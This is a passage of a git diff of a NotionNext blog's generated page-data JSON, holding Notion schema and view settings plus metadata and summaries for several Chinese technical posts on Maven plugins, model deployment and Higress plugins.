9-47df-43f6-a375-de1c3a9cf466","version":22,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"},{"id":"c466d345-55bf-4155-a77e-fcd58819a455","color":"brown","value":"准备"},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","color":"green","value":"万里长征"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","color":"gray","value":"运维"},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","color":"orange","value":"linux"},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","color":"orange","value":"脚本"},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","color":"yellow","value":"面试"},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","color":"gray","value":"go"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1","fbea6284-6910-456b-9292-c62e080c9f59"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{"eb3e1328-8f32-4ff5-8d18-8ea80020e175":{"role":"none"}},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":53,"type":"table","name":"Table","format":{"table_properties":[{"width":295,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","33fa284f-0c06-4f26-9ca3-be25469051c4","e267a30e-29c7-47df-8dc2-cbba50b01443","5bc86ceb-2501-4ba3-a7f9-588407e6d47a","154f5010-17f2-8079-beb8-c6a44f0aa69c","153f5010-17f2-8037-8e89-ecfcb9d24a89","b7f50367-a6df-4492-a459-4baef5b1e4c3","a741252c-e46b-4342-998c-58ebc362fc0d","df1cfd49-4665-4429-a601-d6e8d57f2a50","6f317036-a205-45d7-98ce-c95a34ca3000","2187a0b2-05d0-4661-906d-3f47acc5b022","023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","ac8b0aec-6e91-49e0-b6c0-806e97729436","fdb70c2f-29b1-4635-bb36-fc826bad8fbd","2caa6a98-fd82-4de7-838f-e08dfe6649ab","146219e7-c178-4485-b223-22f4b977333c","71879fde-4992-4276-9767-ac5bd71e4058","9a78ba09-76ce-4344-bad5-f6d60dc0680e","63830328-e0f0-477a-b327-bc4ab921f89c","4d955058-b605-46cf-b242-1535b732af30","9a11ddf0-58ae-4450-8583-5ba3e2108e0a","1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","3505b511-076b-47a7-aa1a-95e702c54e6b","463a3c80-4e43-42d9-b436-1299d00df6b2","11d73154-336e-4e5a-8e92-8a8b36b2bc92","df0db62b-d0ed-47f0-b5be-445bfef1f6af","3fb907b8-6154-452a-94f7-a018ba092632","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":2,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"property":"bB{M"},{"value":{"type":"select","value":"面试准备"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":28,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"},{"value":{"type":"select","value":"准备"},"property":"bB{M"},{"value":{"type":"select","value":"万里长征"},"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},"next":{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},"recommendPosts":[{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","date":{"start_date":"2024-06-26","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240626-demo","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","title":"天池大赛Higress插件官方demo详细部署+调试","status":"Published","publishDate":1719360000000,"publishDay":"2024-6-26","lastEditedDate":"2024-06-28T08:12:44.310Z","lastEditedDay":"2024-6-28","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","tagItems":[{"name":"推荐","color":"red"},{"name":"go","color":"gray"},{"name":"折腾","color":"purple"}],"password":""},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","date":{"start_date":"2024-06-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240625-higress","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","title":"Java程序员学习Go开发Higress的WASM插件","status":"Published","publishDate":1719273600000,"publishDay":"2024-6-25","lastEditedDate":"2024-06-26T04:54:09.169Z","lastEditedDay":"2024-6-26","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"},{"name":"docker","color":"gray"},{"name":"go","color":"gray"}],"password":""}]},"__N_SSG":true} \ No newline at end of file diff --git a/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/241110-tos-plugin.json b/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/241110-tos-plugin.json new file mode 100644 index 000000000..7b7e25ca9 --- /dev/null +++ b/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/241110-tos-plugin.json @@ -0,0 +1 @@ +{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both 